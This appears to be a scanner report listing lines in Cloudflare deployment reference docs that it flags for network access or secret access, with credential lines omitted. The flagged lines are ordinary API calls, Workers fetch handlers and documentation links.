- Unified API (OpenAI-compatible): `https://gateway.ai.cloudflare.com/v1/{account_id}/{gateway_id}/compat/chat/completions` - Network accessline 150
- Provider-specific: `https://gateway.ai.cloudflare.com/v1/{account_id}/{gateway_id}/{provider}/{endpoint}` - Network accessline 172
- [Official Docs](https://developers.cloudflare.com/ai-gateway/) - Network accessline 173
- [API Reference](https://developers.cloudflare.com/api/resources/ai_gateway/) - Network accessline 174
- [Provider Guides](https://developers.cloudflare.com/ai-gateway/usage/providers/) - Network accessline 175
- [Discord Community](https://discord.cloudflare.com)
packages/autoskills/skills-registry/cloudflare-deploy/references/ai-gateway/configuration.md
- Network accessline 10
[Credential-related source omitted] - Access to secretsline 10
[Credential-related source omitted] - Access to secretsline 11
[Credential-related source omitted] - Access to secretsline 29
[Credential-related source omitted] - Network accessline 36
const client = new OpenAI({ baseURL: `https://gateway.ai.cloudflare.com/v1/${accountId}/${gatewayId}/openai`, - Network accessline 37
baseURL: `https://gateway.ai.cloudflare.com/v1/${accountId}/${gatewayId}/openai`, - Network accessline 46
const client = new OpenAI({ baseURL: `https://gateway.ai.cloudflare.com/v1/${accountId}/${gatewayId}/openai`, - Network accessline 47
baseURL: `https://gateway.ai.cloudflare.com/v1/${accountId}/${gatewayId}/openai`, - Network accessline 57
[Credential-related source omitted] - Network accessline 58
[Credential-related source omitted] - Access to secretsline 58
[Credential-related source omitted] - Network accessline 59
baseURL: `https://gateway.ai.cloudflare.com/v1/${accountId}/${gatewayId}/openai`, - Network accessline 72
# List curl https://api.cloudflare.com/client/v4/accounts/{account_id}/ai-gateway/gateways \ - Network accessline 73
[Credential-related source omitted] - Access to secretsline 73
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Network accessline 76
# Get curl .../gateways/{gateway_id} - Network accessline 77
curl .../gateways/{gateway_id} - Network accessline 79
# Update curl -X PUT .../gateways/{gateway_id} \ - Network accessline 80
curl -X PUT .../gateways/{gateway_id} \ - Network accessline 83
# Delete curl -X DELETE .../gateways/{gateway_id} - Network accessline 84
curl -X DELETE .../gateways/{gateway_id} - Network accessline 98
[Credential-related source omitted] - Network accessline 99
[Credential-related source omitted] - Access to secretsline 99
[Credential-related source omitted] - Network accessline 100
[Credential-related source omitted] - Access to secretsline 100
[Credential-related source omitted] - Access to secretsline 101
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/ai-gateway/sdk-integration.md
- Access to secretsline 13
[Credential-related source omitted] - Access to secretsline 16
[Credential-related source omitted] - Network accessline 49
[Credential-related source omitted] - Network accessline 50
[Credential-related source omitted] - Access to secretsline 50
[Credential-related source omitted] - Network accessline 51
baseURL: `https://gateway.ai.cloudflare.com/v1/${accountId}/${gatewayId}/openai`, - Network accessline 62
[Credential-related source omitted] - Network accessline 63
[Credential-related source omitted] - Access to secretsline 63
[Credential-related source omitted] - Network accessline 64
baseURL: `https://gateway.ai.cloudflare.com/v1/${accountId}/${gatewayId}/anthropic`, - Network accessline 90
new ChatOpenAI({ configuration: { baseURL: `https://gateway.ai.cloudflare.com/v1/${accountId}/${gatewayId}/openai` - Network accessline 91
configuration: { baseURL: `https://gateway.ai.cloudflare.com/v1/${accountId}/${gatewayId}/openai` } - Network accessline 92
baseURL: `https://gateway.ai.cloudflare.com/v1/${accountId}/${gatewayId}/openai` - Network accessline 100
[Credential-related source omitted] - Access to secretsline 100
[Credential-related source omitted] - Access to secretsline 101
[Credential-related source omitted] - Access to secretsline 102
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/ai-gateway/troubleshooting.md
- Network accessline 14
const client = new OpenAI({ baseURL: `https://gateway.ai.cloudflare.com/v1/${accountId}/${gatewayId}/openai`, - Network accessline 15
baseURL: `https://gateway.ai.cloudflare.com/v1/${accountId}/${gatewayId}/openai`, - Access to secretsline 16
[Credential-related source omitted] - Network accessline 68
# Test connectivity curl -v https://gateway.ai.cloudflare.com/v1/{account}/{gateway}/openai/models \ - Network accessline 69
[Credential-related source omitted] - Access to secretsline 69
[Credential-related source omitted] - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 71
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/ai-search/README.md
- Network accessline 48
export default { async fetch(request, env) { - Network accessline 49
async fetch(request, env) { - Network accessline 136
- [Cloudflare AI Search Docs](https://developers.cloudflare.com/ai-search/) - Network accessline 137
- [Workers AI Docs](https://developers.cloudflare.com/workers-ai/) - Network accessline 138
- [Vectorize Docs](https://developers.cloudflare.com/vectorize/)
packages/autoskills/skills-registry/cloudflare-deploy/references/ai-search/api.md
- Network accessline 82
curl https://api.cloudflare.com/client/v4/accounts/{ACCOUNT_ID}/autorag/rags/{NAME}/ai-search \
packages/autoskills/skills-registry/cloudflare-deploy/references/analytics-engine/README.md
packages/autoskills/skills-registry/cloudflare-deploy/references/analytics-engine/api.md
packages/autoskills/skills-registry/cloudflare-deploy/references/analytics-engine/configuration.md
packages/autoskills/skills-registry/cloudflare-deploy/references/analytics-engine/gotchas.md
- Access to secretsline 39
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/analytics-engine/patterns.md
packages/autoskills/skills-registry/cloudflare-deploy/references/api-shield/README.md
packages/autoskills/skills-registry/cloudflare-deploy/references/api-shield/api.md
- Network accessline 44
export default { async fetch(req, env) { - Network accessline 45
async fetch(req, env) { - Network accessline 58
export default { async fetch(req, env) { - Network accessline 59
async fetch(req, env) { - Network accessline 71
export default { async scheduled(event, env) { const jwks = await (await fetch('https://auth.example.com/.well-known/jwks.json')).json(); - Network accessline 72
async scheduled(event, env) { const jwks = await (await fetch('https://auth.example.com/.well-known/jwks.json')).json(); await fetch(`https://api.cloudflare.com/client/v4/zones/${env.ZONE_ID}/api_gateway/token_validation/${env.CONFI - Network accessline 73
const jwks = await (await fetch('https://auth.example.com/.well-known/jwks.json')).json(); - Network accessline 74
await fetch(`https://api.cloudflare.com/client/v4/zones/${env.ZONE_ID}/api_gateway/token_validation/${env.CONFIG_ID}`, { - Access to secretsline 76
[Credential-related source omitted] - Network accessline 139
- [configuration.md](configuration.md) - Setup guides for all features - [patterns.md](patterns.md) - Firewall rules and common patterns - [API Gateway API Docs](https://developers.cloudflare.com/api/resources/api_gateway/) - Network accessline 141
- [API Gateway API Docs](https://developers.cloudflare.com/api/resources/api_gateway/)
packages/autoskills/skills-registry/cloudflare-deploy/references/api-shield/configuration.md
packages/autoskills/skills-registry/cloudflare-deploy/references/api-shield/gotchas.md
- Network accessline 123
- [configuration.md](configuration.md) - Setup guides to avoid common issues - [patterns.md](patterns.md) - Best practices and progressive rollout - [API Shield Docs](https://developers.cloudflare.com/api-shield/) - Network accessline 125
- [API Shield Docs](https://developers.cloudflare.com/api-shield/)
packages/autoskills/skills-registry/cloudflare-deploy/references/api/README.md
- Network accessline 9
├─ From Workers runtime → Use bindings, not REST API (see ../bindings/) ├─ Server-side (Node/Python/Go) → Official SDK (see api.md) ├─ CLI/scripts → Wrangler or curl (see configuration.md) - Network accessline 10
├─ Server-side (Node/Python/Go) → Official SDK (see api.md) ├─ CLI/scripts → Wrangler or curl (see configuration.md) ├─ Infrastructure-as-code → See ../pulumi/ or ../terraform/ - Network accessline 11
├─ CLI/scripts → Wrangler or curl (see configuration.md) - Network accessline 13
└─ One-off requests → curl examples (see api.md) - Network accessline 63
- [Cloudflare API Docs](https://developers.cloudflare.com/api/)
packages/autoskills/skills-registry/cloudflare-deploy/references/api/api.md
- Access to secretsline 11
[Credential-related source omitted] - Access to secretsline 20
[Credential-related source omitted] - Access to secretsline 24
[Credential-related source omitted] - Access to secretsline 36
[Credential-related source omitted] - Access to secretsline 47
[Credential-related source omitted] - Network accessline 49
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 50
[Credential-related source omitted] - Network accessline 58
[Credential-related source omitted] - Access to secretsline 58
[Credential-related source omitted] - Access to secretsline 60
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/api/configuration.md
- Access to secretsline 9
[Credential-related source omitted] - Access to secretsline 10
[Credential-related source omitted] - Access to secretsline 15
[Credential-related source omitted] - Access to secretsline 18
[Credential-related source omitted] - Access to secretsline 28
[Credential-related source omitted] - Access to secretsline 37
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Network accessline 47
timeout: 120000, // 2 min (default 60s), in milliseconds maxRetries: 5, // default 2 baseURL: 'https://...', // proxy (rare) - Network accessline 48
maxRetries: 5, // default 2 baseURL: 'https://...', // proxy (rare) }); - Network accessline 49
baseURL: 'https://...', // proxy (rare) - Access to secretsline 63
[Credential-related source omitted] - Network accessline 64
timeout=120, # seconds (default 60) max_retries=5, # default 2 base_url="https://...", # proxy (rare) - Network accessline 65
max_retries=5, # default 2 base_url="https://...", # proxy (rare) ) - Network accessline 66
base_url="https://...", # proxy (rare) - Access to secretsline 77
[Credential-related source omitted] - Network accessline 78
option.WithMaxRetries(5), // default 10 (higher than TS/Python) option.WithRequestTimeout(2 * time.Minute), // default 60s option.WithBaseURL("https://..."), // proxy (rare) - Network accessline 79
option.WithRequestTimeout(2 * time.Minute), // default 60s option.WithBaseURL("https://..."), // proxy (rare) ) - Network accessline 80
option.WithBaseURL("https://..."), // proxy (rare) - Access to secretsline 130
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/api/gotchas.md
packages/autoskills/skills-registry/cloudflare-deploy/references/argo-smart-routing/README.md
- Network accessline 13
curl -X PATCH "https://api.cloudflare.com/client/v4/zones/{zone_id}/argo/smart_routing" \ - Access to secretsline 23
[Credential-related source omitted] - Network accessline 87
- [Cloudflare Argo Smart Routing Docs](https://developers.cloudflare.com/argo-smart-routing/) - Network accessline 88
- [Cloudflare Smart Shield](https://developers.cloudflare.com/smart-shield/) - Network accessline 89
- [Spectrum Documentation](https://developers.cloudflare.com/spectrum/) - Network accessline 90
- [Tiered Cache](https://developers.cloudflare.com/cache/how-to/tiered-cache/)
packages/autoskills/skills-registry/cloudflare-deploy/references/argo-smart-routing/api.md
- Network accessline 7
https://api.cloudflare.com/client/v4 - Network accessline 25
**cURL Example:** - Network accessline 27
curl -X GET "https://api.cloudflare.com/client/v4/zones/{zone_id}/argo/smart_routing" \ - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 63
[Credential-related source omitted] - Network accessline 82
**cURL Example:** - Network accessline 84
curl -X PATCH "https://api.cloudflare.com/client/v4/zones/{zone_id}/argo/smart_routing" \
packages/autoskills/skills-registry/cloudflare-deploy/references/argo-smart-routing/configuration.md
- Access to secretsline 114
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/argo-smart-routing/gotchas.md
- Network accessline 107
- [Official Argo Smart Routing Docs](https://developers.cloudflare.com/argo-smart-routing/) - Network accessline 108
- [Cloudflare Smart Shield](https://developers.cloudflare.com/smart-shield/) - Network accessline 109
- [API Authentication](https://developers.cloudflare.com/fundamentals/api/get-started/create-token/) - Network accessline 110
- [Cloudflare TypeScript SDK](https://github.com/cloudflare/cloudflare-typescript) - Network accessline 111
- [Cloudflare Python SDK](https://github.com/cloudflare/cloudflare-python)
packages/autoskills/skills-registry/cloudflare-deploy/references/bindings/README.md
- Network accessline 32
| Binding | Use Case | Access Pattern | |---------|----------|----------------| | **Service** | Worker-to-Worker RPC | `env.MY_SERVICE.fetch(req)` | - Network accessline 33
|---------|----------|----------------| | **Service** | Worker-to-Worker RPC | `env.MY_SERVICE.fetch(req)` | | **Workers AI** | LLM inference | `env.AI.run(model, input)` | - Network accessline 34
| **Service** | Worker-to-Worker RPC | `env.MY_SERVICE.fetch(req)` | - Network accessline 36
| **Browser Rendering** | Headless Chrome | `env.BROWSER.fetch(url)` | - Access to secretsline 53
[Credential-related source omitted] - Network accessline 95
export default { async fetch(request, env, ctx) { - Network accessline 96
async fetch(request, env, ctx) { - Network accessline 121
- [Cloudflare Docs: Bindings](https://developers.cloudflare.com/workers/runtime-apis/bindings/) - Network accessline 122
- [Wrangler Configuration](https://developers.cloudflare.com/workers/wrangler/configuration/)
packages/autoskills/skills-registry/cloudflare-deploy/references/bindings/api.md
- Access to secretsline 24
[Credential-related source omitted] - Network accessline 50
### Method 1: fetch() Handler (Recommended) - Network accessline 53
export default { async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Network accessline 54
async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> { - Network accessline 93
**Avoid:** Use fetch() handler instead (Method 1). - Network accessline 144
await env.MY_SERVICE.fetch(new Request('https://fake/path')); - Network accessline 159
const id = env.MY_DO.idFromName('user-123'); const stub = env.MY_DO.get(id); await stub.fetch(new Request('https://fake/increment')); - Network accessline 161
await stub.fetch(new Request('https://fake/increment')); - Network accessline 181
// ❌ BAD async fetch(request: Request, env: any) { } - Network accessline 182
async fetch(request: Request, env: any) { } - Network accessline 184
// ✅ GOOD async fetch(request: Request, env: Env) { } - Network accessline 185
async fetch(request: Request, env: Env) { } - Network accessline 202
- [Workers Types Package](https://www.npmjs.com/package/@cloudflare/workers-types) - Network accessline 203
- [Wrangler Types Command](https://developers.cloudflare.com/workers/wrangler/commands/#types)
packages/autoskills/skills-registry/cloudflare-deploy/references/bindings/configuration.md
- Network accessline 68
{ "vars": { "API_URL": "https://api.example.com", - Network accessline 69
"vars": { "API_URL": "https://api.example.com", "MAX_RETRIES": "3" - Network accessline 70
"API_URL": "https://api.example.com", - Access to secretsline 81
[Credential-related source omitted] - Network accessline 133
"vars": { "API_URL": "https://api.example.com" }, - Network accessline 158
export class Counter { constructor(private state: DurableObjectState, private env: Env) {} async fetch(request: Request) { /* ... */ } - Network accessline 159
constructor(private state: DurableObjectState, private env: Env) {} async fetch(request: Request) { /* ... */ } } - Network accessline 160
async fetch(request: Request) { /* ... */ } - Network accessline 188
- [Wrangler Configuration](https://developers.cloudflare.com/workers/wrangler/configuration/)
packages/autoskills/skills-registry/cloudflare-deploy/references/bindings/gotchas.md
- Access to secretsline 9
[Credential-related source omitted] - Network accessline 11
export default { async fetch(request: Request, env: Env) { - Network accessline 12
async fetch(request: Request, env: Env) { - Network accessline 25
export default { async fetch(request: Request, env: Env) { - Network accessline 26
async fetch(request: Request, env: Env) { - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 119
[Credential-related source omitted] - Access to secretsline 148
[Credential-related source omitted] - Access to secretsline 149
[Credential-related source omitted] - Network accessline 207
- [Workers Limits](https://developers.cloudflare.com/workers/platform/limits/) - Network accessline 208
- [Wrangler Commands](https://developers.cloudflare.com/workers/wrangler/commands/)
packages/autoskills/skills-registry/cloudflare-deploy/references/bindings/patterns.md
- Network accessline 8
// auth-worker export default { async fetch(request: Request, env: Env) { - Network accessline 9
[Credential-related source omitted] - Network accessline 10
async fetch(request: Request, env: Env) { - Network accessline 16
// api-worker const response = await env.AUTH_SERVICE.fetch( - Network accessline 17
const response = await env.AUTH_SERVICE.fetch( - Network accessline 18
new Request('https://fake-host/validate', { - Network accessline 28
// ❌ HTTP (slow, paid, cross-region latency) await fetch('https://auth-worker.example.com/validate'); - Network accessline 29
await fetch('https://auth-worker.example.com/validate'); - Network accessline 31
// ✅ Service binding (fast, free, same isolate) await env.AUTH_SERVICE.fetch(new Request('https://fake-host/validate')); - Network accessline 32
await env.AUTH_SERVICE.fetch(new Request('https://fake-host/validate')); - Network accessline 44
// auth-worker export default { async fetch(request: Request): Promise<Response> { - Network accessline 45
export default { async fetch(request: Request): Promise<Response> { const body: AuthRequest = await request.json(); - Network accessline 46
async fetch(request: Request): Promise<Response> { - Network accessline 53
// api-worker const response = await env.AUTH_SERVICE.fetch( - Network accessline 54
const response = await env.AUTH_SERVICE.fetch( - Network accessline 55
new Request('https://fake/validate', { - Access to secretsline 67
[Credential-related source omitted] - Access to secretsline 68
[Credential-related source omitted] - Access to secretsline 69
[Credential-related source omitted] - Network accessline 73
// Use secret const response = await fetch('https://api.example.com', { - Network accessline 74
const response = await fetch('https://api.example.com', { - Access to secretsline 75
[Credential-related source omitted] - Access to secretsline 82
[Credential-related source omitted] - Network accessline 106
const response = await worker.fetch( - Network accessline 107
new Request('http://localhost/test'), - Network accessline 172
const id = env.COUNTER.idFromName('global'); const stub = env.COUNTER.get(id); await stub.fetch(new Request('https://fake/increment')); - Network accessline 174
await stub.fetch(new Request('https://fake/increment')); - Access to secretsline 183
[Credential-related source omitted] - Network accessline 185
**❌ Using REST API:** `fetch('https://api.cloudflare.com/.../kv/...')` - Network accessline 194
[Credential-related source omitted] - Access to secretsline 194
[Credential-related source omitted] - Network accessline 195
[Credential-related source omitted] - Access to secretsline 195
[Credential-related source omitted] - Network accessline 199
- [Service Bindings Docs](https://developers.cloudflare.com/workers/runtime-apis/bindings/service-bindings/) - Network accessline 200
- [Miniflare Testing](https://miniflare.dev/)
packages/autoskills/skills-registry/cloudflare-deploy/references/bot-management/README.md
- Network accessline 63
// Workers: Check bot score export default { async fetch(request: Request): Promise<Response> { - Network accessline 64
export default { async fetch(request: Request): Promise<Response> { const botScore = request.cf?.botManagement?.score; - Network accessline 65
async fetch(request: Request): Promise<Response> { - Network accessline 68
return new Response('Bot detected', { status: 403 }); } return fetch(request); - Network accessline 69
} return fetch(request); } - Network accessline 70
return fetch(request);
packages/autoskills/skills-registry/cloudflare-deploy/references/bot-management/api.md
- Network accessline 25
export default { async fetch(request: Request): Promise<Response> { - Network accessline 26
async fetch(request: Request): Promise<Response> { - Network accessline 30
if (!botMgmt) return fetch(request); - Network accessline 31
if (botMgmt.verifiedBot) return fetch(request); // Allow verified bots - Network accessline 35
return fetch(request); - Network accessline 84
export default { async fetch(request: Request): Promise<Response> { - Network accessline 85
async fetch(request: Request): Promise<Response> { - Network accessline 89
if (!ja4Signals) return fetch(request); // Not available for HTTP or Worker routing - Network accessline 100
return fetch(request);
packages/autoskills/skills-registry/cloudflare-deploy/references/bot-management/patterns.md
- Network accessline 69
// Low score + not corporate proxy = likely datacenter bot export default { async fetch(request: Request): Promise<Response> { - Network accessline 70
export default { async fetch(request: Request): Promise<Response> { const cf = request.cf as IncomingRequestCfProperties | undefined; - Network accessline 71
async fetch(request: Request): Promise<Response> { - Network accessline 80
return fetch(request); - Network accessline 90
// Add delay proportional to bot suspicion export default { async fetch(request: Request): Promise<Response> { - Network accessline 91
export default { async fetch(request: Request): Promise<Response> { const cf = request.cf as IncomingRequestCfProperties | undefined; - Network accessline 92
async fetch(request: Request): Promise<Response> { - Network accessline 102
return fetch(request); - Network accessline 139
export default { async fetch(request: Request): Promise<Response> { - Network accessline 140
async fetch(request: Request): Promise<Response> { - Network accessline 145
if (botMgmt?.staticResource) return fetch(request); // Skip static - Network accessline 157
return fetch(request);
packages/autoskills/skills-registry/cloudflare-deploy/references/browser-rendering/README.md
- Network accessline 78
- [Cloudflare Docs](https://developers.cloudflare.com/browser-rendering/)
packages/autoskills/skills-registry/cloudflare-deploy/references/browser-rendering/api.md
- Network accessline 5
**Base:** `https://api.cloudflare.com/client/v4/accounts/{accountId}/browser-rendering` - Network accessline 22
curl -X POST '.../browser-rendering/screenshot' \ - Network accessline 24
-d '{"url":"https://example.com","screenshotOptions":{"fullPage":true}}' - Network accessline 39
const browser = await puppeteer.launch(env.MYBROWSER, { keep_alive: 600000 }); const page = await browser.newPage(); await page.goto('https://example.com', { waitUntil: 'networkidle0' }); - Network accessline 41
await page.goto('https://example.com', { waitUntil: 'networkidle0' }); - Network accessline 71
await page.goto('https://example.com', { waitUntil: 'networkidle' });
packages/autoskills/skills-registry/cloudflare-deploy/references/browser-rendering/configuration.md
- Network accessline 34
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 35
async fetch(request: Request, env: Env): Promise<Response> { - Access to secretsline 38
[Credential-related source omitted] - Network accessline 54
curl -X POST \ - Network accessline 55
'https://api.cloudflare.com/client/v4/accounts/{accountId}/browser-rendering/screenshot' \ - Network accessline 57
-d '{"url": "https://example.com"}' --output screenshot.png
packages/autoskills/skills-registry/cloudflare-deploy/references/browser-rendering/gotchas.md
- Network accessline 24
try { const page = await browser.newPage(); await page.goto("https://example.com"); - Network accessline 25
const page = await browser.newPage(); await page.goto("https://example.com"); return new Response(await page.content()); - Network accessline 26
await page.goto("https://example.com");
packages/autoskills/skills-registry/cloudflare-deploy/references/browser-rendering/patterns.md
- Network accessline 8
export default { async fetch(request, env) { - Network accessline 9
async fetch(request, env) { - Network accessline 11
try { const page = await browser.newPage(); await page.goto("https://example.com"); - Network accessline 12
const page = await browser.newPage(); await page.goto("https://example.com"); return new Response(await page.content()); - Network accessline 13
await page.goto("https://example.com");
packages/autoskills/skills-registry/cloudflare-deploy/references/c3/configuration.md
packages/autoskills/skills-registry/cloudflare-deploy/references/c3/gotchas.md
packages/autoskills/skills-registry/cloudflare-deploy/references/cache-reserve/README.md
- Network accessline 102
# Enable via Dashboard https://dash.cloudflare.com/caching/cache-reserve - Network accessline 103
https://dash.cloudflare.com/caching/cache-reserve - Network accessline 114
# Check Cache Reserve status curl -X GET "https://api.cloudflare.com/client/v4/zones/$ZONE_ID/cache/cache_reserve" \ - Network accessline 115
[Credential-related source omitted] - Access to secretsline 115
[Credential-related source omitted] - Access to secretsline 116
[Credential-related source omitted] - Network accessline 118
# Enable Cache Reserve curl -X PATCH "https://api.cloudflare.com/client/v4/zones/$ZONE_ID/cache/cache_reserve" \ - Network accessline 119
[Credential-related source omitted] - Access to secretsline 119
[Credential-related source omitted] - Access to secretsline 120
[Credential-related source omitted] - Network accessline 124
# Check asset cache status curl -I https://example.com/asset.jpg | grep -i cache - Network accessline 125
curl -I https://example.com/asset.jpg | grep -i cache
packages/autoskills/skills-registry/cloudflare-deploy/references/cache-reserve/api.md
- Network accessline 10
│ • Cache Reserve → zone-level setting, automatic, no per-req │ │ • You CANNOT selectively write to Cache Reserve from Workers │ │ • Cache Reserve works with standard fetch(), not cache.put() │ - Network accessline 11
│ • You CANNOT selectively write to Cache Reserve from Workers │ │ • Cache Reserve works with standard fetch(), not cache.put() │ └────────────────────────────────────────────────────────────────┘ - Network accessline 12
│ • Cache Reserve works with standard fetch(), not cache.put() │ - Network accessline 18
### Standard Fetch (Recommended) - Network accessline 21
// Cache Reserve works automatically via standard fetch export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 22
export default { async fetch(request: Request, env: Env): Promise<Response> { // Standard fetch uses Cache Reserve automatically - Network accessline 23
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 24
// Standard fetch uses Cache Reserve automatically return await fetch(request); } - Network accessline 25
return await fetch(request); - Network accessline 37
let response = await cache.match(request); if (!response) { response = await fetch(request); - Network accessline 38
if (!response) { response = await fetch(request); await cache.put(request, response.clone()); // Bypasses Cache Reserve! - Network accessline 39
response = await fetch(request); - Network accessline 43
// ✅ CORRECT: Use standard fetch for Cache Reserve compatibility return await fetch(request); - Network accessline 44
return await fetch(request); - Network accessline 48
let response = await customCache.match(request); if (!response) { response = await fetch(request); - Network accessline 49
if (!response) { response = await fetch(request); await customCache.put(request, response.clone()); // Custom cache OK - Network accessline 50
response = await fetch(request); - Network accessline 64
urls: string[] ) => { const response = await fetch( - Network accessline 65
) => { const response = await fetch( `https://api.cloudflare.com/client/v4/zones/${zoneId}/purge_cache`, - Network accessline 66
const response = await fetch( - Network accessline 67
`https://api.cloudflare.com/client/v4/zones/${zoneId}/purge_cache`, - Network accessline 80
// Example usage await purgeCacheReserveByURL('zone123', 'token456', [ 'https://example.com/image.jpg', - Network accessline 81
await purgeCacheReserveByURL('zone123', 'token456', [ 'https://example.com/image.jpg', 'https://example.com/video.mp4' - Network accessline 82
'https://example.com/image.jpg', - Network accessline 83
'https://example.com/video.mp4' - Network accessline 90
// Purge by cache tag - forces revalidation, not immediate removal await fetch( - Network accessline 91
await fetch( - Network accessline 92
`https://api.cloudflare.com/client/v4/zones/${zoneId}/purge_cache`, - Network accessline 108
// Requires Cache Reserve OFF first await fetch( - Network accessline 109
await fetch( - Network accessline 110
`https://api.cloudflare.com/client/v4/zones/${zoneId}/cache/cache_reserve_clear`,
packages/autoskills/skills-registry/cloudflare-deploy/references/cache-reserve/configuration.md
- Network accessline 8
# Navigate to dashboard https://dash.cloudflare.com/caching/cache-reserve - Network accessline 9
https://dash.cloudflare.com/caching/cache-reserve - Network accessline 23
# Enable curl -X PATCH "https://api.cloudflare.com/client/v4/zones/$ZONE_ID/cache/cache_reserve" \ - Network accessline 24
[Credential-related source omitted] - Access to secretsline 24
[Credential-related source omitted] - Access to secretsline 25
[Credential-related source omitted] - Network accessline 28
# Check status curl -X GET "https://api.cloudflare.com/client/v4/zones/$ZONE_ID/cache/cache_reserve" \ - Network accessline 29
[Credential-related source omitted] - Access to secretsline 29
[Credential-related source omitted] - Access to secretsline 30
[Credential-related source omitted] - Access to secretsline 43
[Credential-related source omitted] - Access to secretsline 68
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/cache-reserve/gotchas.md
- Network accessline 77
- **Official Docs**: https://developers.cloudflare.com/cache/advanced-configuration/cache-reserve/ - Network accessline 78
- **API Reference**: https://developers.cloudflare.com/api/resources/cache/subresources/cache_reserve/ - Network accessline 79
- **Cache Rules**: https://developers.cloudflare.com/cache/how-to/cache-rules/ - Network accessline 80
- **Workers Cache API**: https://developers.cloudflare.com/workers/runtime-apis/cache/ - Network accessline 81
- **R2 Documentation**: https://developers.cloudflare.com/r2/ - Network accessline 82
- **Smart Shield**: https://developers.cloudflare.com/smart-shield/ - Network accessline 83
- **Tiered Cache**: https://developers.cloudflare.com/cache/how-to/tiered-cache/
packages/autoskills/skills-registry/cloudflare-deploy/references/cache-reserve/patterns.md
- Network accessline 71
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 72
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 73
const response = await fetch(request); - Network accessline 101
// Optimal: L1 (visitor) → L2 (region) → L3 (Cache Reserve) → Origin export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 102
export default { async fetch(request: Request, env: Env): Promise<Response> { const url = new URL(request.url); - Network accessline 103
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 104
const url = new URL(request.url); const isImmutable = /\.[a-f0-9]{8,}\.(js|css|jpg|png|woff2)$/.test(url.pathname); const response = await fetch(request); - Network accessline 106
const response = await fetch(request);
packages/autoskills/skills-registry/cloudflare-deploy/references/containers/README.md
- Network accessline 31
export default { async fetch(request: Request, env: Env) { - Network accessline 32
async fetch(request: Request, env: Env) { - Network accessline 33
const container = env.MY_CONTAINER.getByName("instance-1"); await container.startAndWaitForPorts(); return container.fetch(request); - Network accessline 34
await container.startAndWaitForPorts(); return container.fetch(request); } - Network accessline 35
return container.fetch(request); - Network accessline 83
- [Workflows](../workflows/) - Orchestrate container operations - [Queues](../queues/) - Trigger containers from queue messages - [Cloudflare Docs](https://developers.cloudflare.com/containers/) - Network accessline 85
- [Cloudflare Docs](https://developers.cloudflare.com/containers/)
packages/autoskills/skills-registry/cloudflare-deploy/references/containers/api.md
- Network accessline 68
### fetch() - HTTP with WebSocket support - Network accessline 71
// ✅ Supports WebSocket upgrades const response = await container.fetch(request); - Network accessline 72
const response = await container.fetch(request); - Network accessline 73
const response = await container.fetch("http://container/api", { - Network accessline 88
**⚠<U+FE0F> Critical:** Use `fetch()` for WebSocket, not `containerFetch()`. - Network accessline 104
this.switchPort(8081); // Subsequent fetch() uses this port - Network accessline 153
export class ScheduledContainer extends Container { async fetch(request: Request) { - Network accessline 154
async fetch(request: Request) { - Network accessline 180
export class MyContainer extends Container { async fetch(request: Request) { - Network accessline 181
async fetch(request: Request) {
packages/autoskills/skills-registry/cloudflare-deploy/references/containers/configuration.md
- Network accessline 103
export class MyContainer extends Container { // Port Configuration defaultPort = 8080; // Default port for fetch() calls - Network accessline 104
// Port Configuration defaultPort = 8080; // Default port for fetch() calls requiredPorts = [8080, 9090]; // Ports to wait for in startAndWaitForPorts() - Network accessline 105
defaultPort = 8080; // Default port for fetch() calls - Network accessline 130
- **`defaultPort`**: Port used when calling `container.fetch()` without explicit port. Falls back to port 33 if not set.
packages/autoskills/skills-registry/cloudflare-deploy/references/containers/gotchas.md
- Network accessline 3
### ⚠<U+FE0F> WebSocket: fetch() vs containerFetch() - Network accessline 9
**Fix:** Always use `fetch()` for WebSocket - Network accessline 15
// ✅ CORRECT return container.fetch(request); - Network accessline 16
return container.fetch(request); - Network accessline 28
// ❌ WRONG await container.start(); return container.fetch(request); - Network accessline 30
return container.fetch(request); - Network accessline 32
// ✅ CORRECT await container.startAndWaitForPorts(); return container.fetch(request); - Network accessline 34
return container.fetch(request); - Network accessline 102
**Cause:** Calling `fetch()` before port ready - Network accessline 160
1. **Use `startAndWaitForPorts()` by default** - Prevents port errors 2. **Set appropriate `sleepAfter`** - Balance resources vs cold starts 3. **Use `fetch()` for WebSocket** - Not `containerFetch()` - Network accessline 161
2. **Set appropriate `sleepAfter`** - Balance resources vs cold starts 3. **Use `fetch()` for WebSocket** - Not `containerFetch()` 4. **Design for restarts** - Ephemeral disk, implement graceful shutdown - Network accessline 162
3. **Use `fetch()` for WebSocket** - Not `containerFetch()`
packages/autoskills/skills-registry/cloudflare-deploy/references/containers/patterns.md
- Network accessline 11
export default { async fetch(request: Request, env: Env) { - Network accessline 12
async fetch(request: Request, env: Env) { - Network accessline 14
const container = env.SESSION_BACKEND.getByName(sessionId); await container.startAndWaitForPorts(); return container.fetch(request); - Network accessline 15
await container.startAndWaitForPorts(); return container.fetch(request); } - Network accessline 16
return container.fetch(request); - Network accessline 26
export default { async fetch(request: Request, env: Env) { - Network accessline 27
async fetch(request: Request, env: Env) { - Network accessline 28
